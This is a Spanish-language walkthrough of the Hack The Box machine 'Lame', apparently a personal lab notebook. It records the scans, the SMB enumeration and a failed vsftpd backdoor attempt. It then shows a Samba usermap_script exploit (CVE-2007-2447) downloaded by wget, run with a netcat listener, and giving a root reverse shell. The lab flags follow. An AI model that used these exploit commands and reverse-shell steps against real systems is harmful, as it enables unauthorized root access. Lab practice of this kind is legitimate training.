

Lame

```
#####maquina facil linux LAME#####
```

Escaneo:

```
PORT  STATE SERVICE
VERSION
21/tcp open  ftp      vsftpd 2.3.4
| ftp-syst:
|  STAT:
|  FTP server status:
|    Connected to 10.10.14.3
|    Logged in as ftp
|    TYPE: ASCII
|    No session bandwidth limit
|    Session timeout in seconds is 300
|    Control connection is plain text
|    Data connections will be plain text
|    vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|  1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
22/tcp open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|  1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Host script results:

```
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
|  account_used: guest
|  authentication_level: user
|  challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h54m01s, deviation: 2h49m43s, median: -5m59s
| smb-os-discovery:
|  OS: Unix (Samba 3.0.20-Debian)
|  Computer name: lame
|  NetBIOS computer name:
|  Domain name: hackthebox.gr
|  FQDN: lame.hackthebox.gr
```

fullscan

```
$ nmap -Pn -p- 10.10.10.3 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-14 21:38 -05
Nmap scan report for 10.10.10.3 (10.10.10.3)
Host is up (0.078s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3632/tcp  open  distccd

Nmap done: 1 IP address (1 host up) scanned in 98.42 seconds

(kali@kali)-[~/machineshtb/Lame]
$
```

vemos que el vsftpd 2.3.4 es vulnerable aparte de permite conexion anonyma

<pre>(kali@kali)-[~/machineshtb/Lame] \$ searchsploit vsftpd 2.3.4</pre>	
Exploit Title	Host script results:
vsftpd 2.3.4 - Backdoor Command Execution	_ smb2-time: Protocol negotiation failed (SMB2)
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	_ smb-security-mode:
Shellcodes: No Results	_ account_used: guest
	_ authentication_level: user
	_ challenge_response: supported
	_ message_signing: disabled (dangerous, but default)
	_ clock-skew: mean: 1h54m01s, deviation: 2h49m43s, median: -5m59s

nos conectamos por ftp de manera anonyma
ftp Anonymous@10.10.10.3 -p 21

```
$ ftp Anonymous@10.10.10.3 -p 21
Connected to 10.10.10.3.
220 (vsFTPD 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||18301|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls
229 Entering Extended Passive Mode (|||11758|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> pwd
Remote directory: /
ftp> █
```

como no hay nada utilizamos un exploit
copiamos con el flag -m y el numero del exploit
searchsploit -m 49757

```
(kali@kali)-[~/machineshtb/Lame]
$ searchsploit -m 49757
Exploit: vsftpd 2.3.4 - Backdoor Command Execution
URL: https://www.exploit-db.com/exploits/49757
Path: /usr/share/exploitdb/exploits/unix/remote/49757.py
Codes: CVE-2011-2523
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/machineshtb/Lame/49757.py

(kali@kali)-[~/machineshtb/Lame]
$ █
```

probamos pero no sirvio el exploit

```

$ python3 49757.py 10.10.10.3
id

Traceback (most recent call last):
  File "/home/kali/machineshtb/Lame/49757.py", line 37, in <module>
    tn2=Telnet(host, 6200)
  File "/usr/lib/python3.10/telnetlib.py", line 218, in __init__
    self.open(host, port, timeout)
  File "/usr/lib/python3.10/telnetlib.py", line 235, in open
    self.sock = socket.create_connection((host, port), timeout)
  File "/usr/lib/python3.10/socket.py", line 845, in create_connection
    raise err
  File "/usr/lib/python3.10/socket.py", line 833, in create_connection
    sock.connect(sa)
TimeoutError: [Errno 110] Connection timed out

```

```

smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but
  clock-skew: mean: 1h54m01s, deviation: 2h4
smb-os-discovery:
  OS: Unix (Samba 3.0.20-Debian)
  Computer name: lame
  NetBIOS computer name:
  Domain name: hackthebox.gr
  FQDN: lame.hackthebox.gr
  System time: 2023-09-14T22:24:52-04:00
fullscan

```

buscamos por smbcliente
smbclient -L 10.10.10.3 -N

```

$ smbclient -L 10.10.10.3 -N
Anonymous login successful

```

Sharename	Type	Comment
print\$	Disk	Printer Drivers
tmp	Disk	oh noes!
opt	Disk	
IPC\$	IPC	IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN\$	IPC	IPC Service (lame server (Samba 3.0.20-Debian))

```

Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

```

Server	Comment
Workgroup	Master
WORKGROUP	LAME

```

(kali@kali)-[~/machineshtb/Lame]
$

```

intentamos con admin pero nos dejo conectar por lo tanto utilizamos tmp
smbclient \\10.10.10.3\tmp

```
$ smbclient \\\10.10.10.3\\tmp
Password for [WORKGROUP\\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.
..
.ICE-unix
vmware-root
.X11-unix
.X0-lock
5545.jsvc_up
vgauthsvclg.txt.0
7282168 blocks of size 1024. 5385464 blocks available
smb: \>
```

No hay mayor información entonces buscamos exploits de la versión de samba

```
$ searchsploit samba 3.0.20

Exploit Title
Samba 3.0.10 < 3.3.5 - Format String/Security Bypass
Samba 3.0.20 < 3.0.25rc3 - 'Username' map_script' Command Execution (Metasploit)
Samba < 3.0.20 - Remote Heap Overflow
Samba < 3.6.2 (x86) - Denial of Service (PoC)

Shellcodes: No Results

(kali@kali)-[~/machineshtb/Lame]
$
```

descargamos este script con wget

wget https://raw.githubusercontent.com/amriunix/CVE-2007-2447/master/usermap_script.py

al utilizar el exploit no funciona por lo cual investigando encontramos que debemos instalar pip

```
(kali@kali)-[~/machineshtb/Lame]
$ sudo pip install pysmb
```

seguimos el uso del readme

Usage.

```
$ python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>
```

- **RHOST** -- The target address
- **RPORT** -- The target port (TCP : 139)
- **LHOST** -- The listen address
- **LPORT** -- The listen port

levantamos netcat

nc -lvp 123

y ejecutamos el script

```
(kali@kali)-[~/machineshtb/Lame]
$ python3 usermap_script.py 10.10.10.3 139 10.10.14.3 123
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !
```

```
(kali@kali)-[~/machineshtb/Lame]
$
```

seguimos el uso del readme

Usage.

```
$ python usermap_script.py
```

```
(kali@kali)-[~/machineshtb/Lame]
$ nc -lvp 123
listening on [any] 123 ...
connect to [10.10.14.3] from 10.10.10.3 [10.10.10.3] 45949
id
uid=0(root) gid=0(root)
hostname
lame
```

- **RHOST** -- The target address

- **RPORT** -- The target port (TCP

- **LHOST** -- The listen address

- **LPORT** -- The listen port

levantamos netcat

somos lame

#####escalada de privilegios#####

como vemos tenemos el id root

entonces con solo hacer sudo -su ya somo super usuario

```
(kali@kali) ~/machines/htb/Lame$ nc -lvp 123
listening on [any] 123 ...
connect to [10.10.14.3] from 10.10.10.3 [10.10.10.3] 45949
id
uid=0(root) gid=0(root)
hostname
lame
locate pyhton3
hostname
lame
sudo -su
sudo: please use single character options
usage: sudo -h | -K | -k | -L | -l | -V | -v
usage: sudo [-bEHPS] [-p prompt] [-u username|uid] [VAR=value]
        {-i | -s | <command>}
usage: sudo -e [-S] [-p prompt] [-u username|uid] file ...
sudo
usage: sudo -h | -K | -k | -L | -l | -V | -v
usage: sudo [-bEHPS] [-p prompt] [-u username|uid] [VAR=value]
        {-i | -s | <command>}
usage: sudo -e [-S] [-p prompt] [-u username|uid] file ...
id
uid=0(root) gid=0(root)
whoami
root
```

flags

```
total 24K
drwxr-xr-x  6 root    root    4.0K Mar 14 2017 .
drwxr-xr-x 21 root    root    4.0K Oct 31 2020 ..
drwxr-xr-x  2 root    nogroup 4.0K Mar 17 2010 ftp
drwxr-xr-x  2 makis   makis   4.0K Mar 14 2017 makis
drwxr-xr-x  2 service service 4.0K Apr 16 2010 service
drwxr-xr-x  3 1001    1001    4.0K May  7 2010 user
cd makis
dir
user.txt
cat user.txt
e8784f64d56a4473fee17ce9d03c499f
```



```
cd ..
cd ..
cd root
dir
Desktop  reset_logs.sh  root.txt  vnc.log
cat root.txt
6cce9b7880edf97180db279a80303a96
```

validando creo que desde un inicio que ejecutamos el script ya eramos root.
validando dentro de la maquina la version de VSFTPD es vulnerable pero el script fallo
validando con iptables --list hay un firewall

```
Chain ufw-user-input (1 references)
target     prot opt source
ACCEPT     tcp  --  anywhere
ACCEPT     udp  --  anywhere
ACCEPT     tcp  --  anywhere
ACCEPT     tcp  --  anywhere
ACCEPT     udp  --  anywhere
ACCEPT     tcp  --  anywhere
ACCEPT     udp  --  anywhere
ACCEPT     tcp  --  anywhere
ACCEPT     udp  --  anywhere
RETURN     all  --  anywhere

Chain ufw-user-output (1 references)
target     prot opt source
destination
```

respondiendo preguntas finales de htb nos dice esta pregunta
When the VSFTPD backdoor is trigger, what port starts listening?
para esto buscamos el exploit que nos fallo y vemos que escucha por el 6200

```
Machine Excell  Training  ACTIVE DIRECTORY

vsftpd_2.3.4_Exploit / exploit.py
Code  Blame  45 lines (38 loc) · 1.02 KB
13      def trigger_backdoor(self):
23          io.sendline(b"USER hello:")
24          io.sendline(b"PASS hello123")
25          io.close()
26
27      def get_shell(self):
28          self.p.status("Connecting To Backdoor...")
29          sleep(1)
30          io = remote(self.ip, 6200)
31          self.p.success("Got Shell!!!")
32          io.interactive()
33          io.close()
```